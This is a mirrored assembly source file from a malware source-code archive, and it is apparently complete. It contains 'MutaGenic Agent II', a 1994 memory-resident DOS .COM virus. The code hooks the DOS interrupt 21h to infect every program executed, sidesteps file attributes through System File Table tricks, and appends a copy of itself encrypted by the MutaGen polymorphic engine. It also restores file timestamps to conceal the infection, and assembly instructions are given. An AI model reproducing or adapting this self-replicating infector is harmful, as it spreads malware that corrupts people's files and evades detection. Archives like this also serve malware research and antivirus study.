mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
207 lines
7.1 KiB
NASM
207 lines
7.1 KiB
NASM
; ========================================================================>
|
|
; MutaGenic Agent ][ - MutaGen V1.3 Test Virus
|
|
; by MnemoniX 1994
|
|
;
|
|
; A simple resident .COM infector implementing MutaGen.
|
|
; To assemble:
|
|
; TASM mg2
|
|
; TLINK /t mg2 mutagen
|
|
; ========================================================================>
|
|
|
|
ID equ 'MG'
|
|
|
|
PING equ 0BADh ; a seldom used DOS function
|
|
PONG equ 0DEADh ; residency response
|
|
|
|
MUTAGEN_SIZE equ 1652 ; version 1.3
|
|
|
|
extrn _MUTAGEN:near
|
|
|
|
code segment byte public 'code'
|
|
org 100h
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
|
|
start:
|
|
jmp virus_begin ; fake host program
|
|
dw ID ; infection signature
|
|
virus_begin:
|
|
call $ + 3
|
|
pop bp
|
|
sub bp,offset $ - 1
|
|
|
|
mov ax,PING ; are we already resident?
|
|
int 21h
|
|
cmp dx,PONG
|
|
je installed ; if so, don't repeat ...
|
|
|
|
mov ax,ds ; blah, blah, blah
|
|
dec ax
|
|
mov ds,ax
|
|
|
|
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
|
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
|
|
mov ax,ds:[12h]
|
|
mov ds,ax
|
|
|
|
sub ax,15
|
|
mov es,ax
|
|
mov byte ptr ds:[0],'Z'
|
|
mov word ptr ds:[1],8
|
|
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
|
|
|
|
push cs ; now move virus into memory
|
|
pop ds
|
|
mov di,100h
|
|
mov cx,(offset virus_end - offset start) / 2
|
|
lea si,[bp + start]
|
|
rep movsw
|
|
|
|
xor ax,ax ; move interrupt vector 21
|
|
mov ds,ax
|
|
|
|
mov si,21h * 4 ; (saving it first)
|
|
mov di,offset old_int_21
|
|
movsw
|
|
movsw
|
|
|
|
mov ds:[si - 4],offset new_int_21
|
|
mov ds:[si - 2],es
|
|
|
|
installed:
|
|
push cs
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
|
|
mov di,100h ; restore original host
|
|
push di
|
|
lea si,[bp + host]
|
|
movsw
|
|
movsw
|
|
movsb
|
|
|
|
xor ax,ax ; fix a few registers
|
|
cwd
|
|
mov si,100h
|
|
|
|
ret ; and leave
|
|
|
|
new_int_21:
|
|
cmp ax,PING ; residency test?
|
|
je pass_signal ; yah yah!
|
|
|
|
cmp ax,4B00h ; program execute?
|
|
je execute ; oui oui ...
|
|
|
|
int_21_exit:
|
|
db 0EAh ; nope, never mind
|
|
old_int_21 dd 0
|
|
|
|
pass_signal:
|
|
mov dx,PONG ; give passing signal
|
|
jmp int_21_exit
|
|
|
|
execute:
|
|
push ax bx cx dx di si es ds ; a PUSHA is nicer, but it
|
|
; won't work on an 8088
|
|
|
|
mov ax,3D00h ; open file
|
|
int 21h
|
|
jnc get_sft
|
|
jmp cant_open ; ecch ...
|
|
get_sft:
|
|
xchg ax,bx ; this virus implements the
|
|
push bx ; use of System File Table
|
|
mov ax,1220h ; (TM) manipulation
|
|
int 2Fh
|
|
|
|
mov ax,1216h
|
|
mov bl,es:[di]
|
|
int 2Fh
|
|
pop bx
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
mov cx,5 ; read header of file
|
|
mov dx,offset host
|
|
mov ah,3Fh
|
|
int 21h
|
|
|
|
cmp word ptr host,'ZM' ; .EXE file?
|
|
je dont_infect ; oh well ...
|
|
|
|
cmp word ptr host[3],ID ; already infected?
|
|
je dont_infect ; maybe next time ...
|
|
|
|
mov word ptr es:[di + 2],2 ; a slick way of sidestepping
|
|
; file attributes
|
|
mov ax,es:[di + 11h] ; get file size
|
|
|
|
cmp ax,65729 - VIRUS_SIZE + 100
|
|
jae dont_infect ; don't infect, too large
|
|
|
|
mov es:[di + 15h],ax ; move to end of file
|
|
|
|
sub ax,3 ; adjust for jump
|
|
mov word ptr new_jump[1],ax
|
|
|
|
; MutaGen calling routine
|
|
push es di
|
|
|
|
push cs ; setup registers
|
|
pop es
|
|
|
|
mov di,offset virus_end
|
|
mov si,offset virus_begin
|
|
mov cx,VIRUS_SIZE
|
|
add ax,103h
|
|
mov dx,ax
|
|
|
|
call _mutagen ; "It's a POLYMORPHIC WAR
|
|
; OUT THERE!" - P. Ferguson
|
|
|
|
pop di es ; restore DI and ES
|
|
|
|
mov ah,40h ; save virus code to file
|
|
int 21h
|
|
|
|
mov word ptr es:[di + 15h],0 ; reset file pointer
|
|
|
|
mov ah,40h ; and write new jump to file
|
|
mov dx,offset new_jump
|
|
mov cx,5
|
|
int 21h
|
|
|
|
mov cx,es:[di + 0Dh] ; restore file time
|
|
mov dx,es:[di + 0Fh]
|
|
mov ax,5701h
|
|
int 21h
|
|
|
|
dont_infect:
|
|
mov ah,3Eh ; close up shop
|
|
int 21h
|
|
cant_open:
|
|
pop ds es si di dx cx bx ax
|
|
jmp int_21_exit
|
|
|
|
db '[MutaGenic Agent II]',0
|
|
|
|
host: ; original host header
|
|
mov ax,4C00h
|
|
int 21h
|
|
|
|
new_jump db 0E9h ; new jump instruction
|
|
dw 0
|
|
dw ID
|
|
|
|
virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus
|
|
; size
|
|
|
|
VIRUS_SIZE equ virus_end - virus_begin
|
|
MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption
|
|
; buffer
|
|
|
|
code ends
|
|
end start
|